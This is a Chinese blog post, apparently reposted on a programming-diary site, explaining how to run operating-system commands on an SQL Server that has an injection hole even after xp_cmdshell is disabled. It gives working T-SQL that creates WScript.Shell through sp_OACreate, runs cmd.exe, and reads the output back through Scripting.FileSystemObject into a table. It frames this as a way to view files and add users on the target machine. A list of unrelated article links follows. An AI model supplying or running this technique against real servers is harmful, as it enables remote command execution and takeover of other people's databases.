当前位置：首页 > 编程日记 > 正文

不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令

编程日记 2024-11-13 09:30:00

我的BLOG里有一篇文章介绍了关于SQL注入的基本原理和一些方法。最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单，只需使用下面的SQL语句：

EXEC master.dbo.xp_cmdshell 'dir c:/'

但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险，他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名，这时侯许多人也许会放弃，因为我们无法运行任何的cmd命令，很难查看对方计算机的文件、目录、开启的服务，也无法添加NT用户。

对此作过一番研究，后来我发现即使xp_cmdshell不可用了，还是有可能在服务器上运行CMD并得到回显结果的，这里要用到SQL服务器另外的几个系统存储过程：sp_OACreate，sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。
sp_OACreate
在 Microsoft? SQL Server? 实例上创建 OLE 对象实例。
语法
sp_OACreate progid, clsid,
objecttoken OUTPUT
[ , context ]
sp_OAGetProperty
获取 OLE 对象的属性值。
语法
sp_OAGetProperty objecttoken,
propertyname
[, propertyvalue OUTPUT]
[, index...]
sp_OAMethod
调用 OLE 对象的方法。
语法
sp_OAMethod objecttoken,
methodname
[, returnvalue OUTPUT]
[ , [ @parametername = ] parameter [ OUTPUT ]
[...n]]

思路：
先在SQL Server 上建立一个Wscript.Shell，调用其run Method，将cmd.exe执行的结果输出到一个文件中，然后再建立一个Scripting.FileSystemObject，通过它建立一个TextStream对象，读出临时文件中的字符，一行一行的添加到一个临时表中。

以下是相应的SQL语句

CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:/>c:/temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果，对于类似ping的长时间命令必需使用此参数。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象，所以此时@file是一个对象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP

https://www.dkcj.cn/info/27306.html

不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令

相关文章：

谷歌低调了 5 年的 Fuchsia OS，终于有望面世了！

chrom扩展开发-入门

你的机器学习模型为什么会出错？奉上四大原因解析及五条改进措施

释放CPU，算力经济下DPU芯片的发展机遇

SQLserver安全设置攻略

undefined symbol: ap_log_rerror；apache2.4与weblogic点so文件

10个Java 8 Lambda表达式经典示例

Sql server 2005带来的分页便利

想学Python？快看看这个教程！收藏！

Struts1.x系列教程（4）：标签库概述与安装

绿盟科技与CCF成立“鲲鹏”科研基金计划发力5大领域资助16个项目

修改SQL SERVER内置存储过程

〖Linux〗使用Qt5.2.0开发Android的NDK应用程序

基于 OpenCV 的面部关键点检测实战

气温上升影响数据中心节能

如何将SQL Server表驻留内存和检测

C 一样快，Ruby 般丝滑的 Crystal 发布 1.0 版本，你看好吗？

php in yii framework

selenium grid2 使用远程机器的浏览器

Create a restful app with AngularJS/Grails(4)

无代码的时代真的来了吗？

实现自适应高度

分表分库之一：分布式数据库的常见用法

打印自定义纸张大小

看完 50000 张专辑封面，AI 设计师开始疯狂输出

XenApp_XenDesktop_7.6实战篇之八：申请及导入许可证

使用Windows操作系统的13个窍门

如何让机器像人一样多角度思考？协同训练来帮你

PHP设计模式（4）命令链模式

MFC界面库BCGControlBar v25.3新版亮点：Gauge Controls